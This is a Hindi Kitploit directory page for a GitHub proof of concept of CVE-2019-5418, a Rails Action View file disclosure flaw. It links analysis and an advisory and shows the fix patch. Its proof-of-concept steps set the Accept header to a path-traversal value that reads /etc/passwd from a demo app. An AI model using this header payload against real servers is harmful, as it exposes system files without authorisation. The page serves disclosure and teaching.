Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2019-5418 — CVE-2019-5418 - Ruby on Rails में फ़ाइल सामग्री प्रकटीकरण | Kitploit
उपकरण/GitHubGitHub/mpgn/cve-2019-5418
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणजानकारी एकत्र करनापेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubmpgn/cve-2019-5418

CVE-2019-5418

CVE-2019-5418 - Ruby on Rails में फ़ाइल सामग्री प्रकटीकरण

रिपॉजिटरी देखें
201225 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2019-5418 - Rails पर फ़ाइल सामग्री प्रकटीकरण

EDIT: यह CVE रिमोट कोड निष्पादन की ओर ले जा सकता है, अधिक जानकारी: https://github.com/mpgn/Rails-doubletap-RCE

Action View में एक संभावित फ़ाइल सामग्री प्रकटीकरण भेद्यता है। विशेष रूप से तैयार किए गए accept हेडर, render file: के कॉल के साथ मिलकर लक्ष्य सर्वर पर मनमानी फ़ाइलों को रेंडर कर सकते हैं, जिससे फ़ाइल की सामग्री प्रकट हो जाती है।

प्रभाव उन render कॉल तक सीमित है जो बिना किसी निर्दिष्ट accept प्रारूप के फ़ाइल सामग्री रेंडर करते हैं। एक कंट्रोलर में प्रभावित कोड कुछ इस तरह दिखता है:

John Hawthorn (GitHub) द्वारा खोजा गया

image

तकनीकी विश्लेषण:

  • https://chybeta.github.io/2019/03/16/Analysis-for%E3%80%90CVE-2019-5418%E3%80%91File-Content-Disclosure-on-Rails/

सुरक्षा सलाह:

  • https://groups.google.com/forum/#!topic/rubyonrails-security/pFRKI96Sm8Q

Action View 6.0.0.beta3, 5.2.2.1, 5.1.6.2, 5.0.7.2, 4.2.11.1 में ठीक किया गया

root@kitploit:~
From f4c70c2222180b8d9d924f00af0c7fd632e26715 Mon Sep 17 00:00:00 2001
From: John Hawthorn <[email protected]>
Date: Mon, 4 Mar 2019 18:24:51 -0800
Subject: [PATCH] Only accept formats from registered mime types

[CVE-2019-5418]
[CVE-2019-5419]
---
 .../lib/action_dispatch/http/mime_negotiation.rb   |  5 +++++
 actionpack/test/controller/mime/respond_to_test.rb | 10 ++++++----
 .../new_base/content_negotiation_test.rb           | 14 ++++++++++++--
 3 files changed, 23 insertions(+), 6 deletions(-)

diff --git a/actionpack/lib/action_dispatch/http/mime_negotiation.rb b/actionpack/lib/action_dispatch/http/mime_negotiation.rb
index 498b1e669576..4e81ba12a58b 100644
--- a/actionpack/lib/action_dispatch/http/mime_negotiation.rb
+++ b/actionpack/lib/action_dispatch/http/mime_negotiation.rb
@@ -79,6 +79,11 @@ def formats
           else
             [Mime[:html]]
           end
+
+          v = v.select do |format|
+            format.symbol || format.ref == "*/*"
+          end
+
           set_header k, v
         end
       end

प्रूफ ऑफ कॉन्सेप्ट

  1. डेमो फ़ोल्डर के अंदर कमजोर एप्लिकेशन चलाएं:
root@kitploit:~
foo@bar:~$ cd demo/
foo@bar:~$ bundle install
[...]
foo@bar:~$ rails s                                                                                                                12:59:54
=> Booting Puma
=> Rails 5.2.1 application starting in development 
=> Run `rails server -h` for more startup options
Puma starting in single mode...
* Version 3.12.0 (ruby 2.5.1-p57), codename: Llamas in Pajamas
* Min threads: 5, max threads: 5
* Environment: development
* Listening on tcp://0.0.0.0:3000
Use Ctrl-C to stop
Started GET "/" for 127.0.0.1 at 2019-03-16 13:00:00 +0100
Processing by Rails::WelcomeController#index as HTML
  Rendering /var/lib/gems/2.5.0/gems/railties-5.2.1/lib/rails/templates/rails/welcome/index.html.erb
  Rendered /var/lib/gems/2.5.0/gems/railties-5.2.1/lib/rails/templates/rails/welcome/index.html.erb (1.4ms)
Completed 200 OK in 8ms (Views: 2.7ms | ActiveRecord: 0.0ms)


Started GET "/chybeta" for 127.0.0.1 at 2019-03-16 13:00:03 +0100
Processing by ChybetaController#index as HTML
  Rendering README.md within layouts/application
  Rendered README.md within layouts/application (0.2ms)
Completed 200 OK in 122ms (Views: 121.1ms | ActiveRecord: 0.0ms)
  1. रूट /chybeta पर जाएं
  2. बर्प के साथ अनुरोध को इंटरसेप्ट करें और Accept हेडर को बदलें: Accept: ../../../../../../../../../../etc/passwd{{

image

image

टूल डाउनलोड करें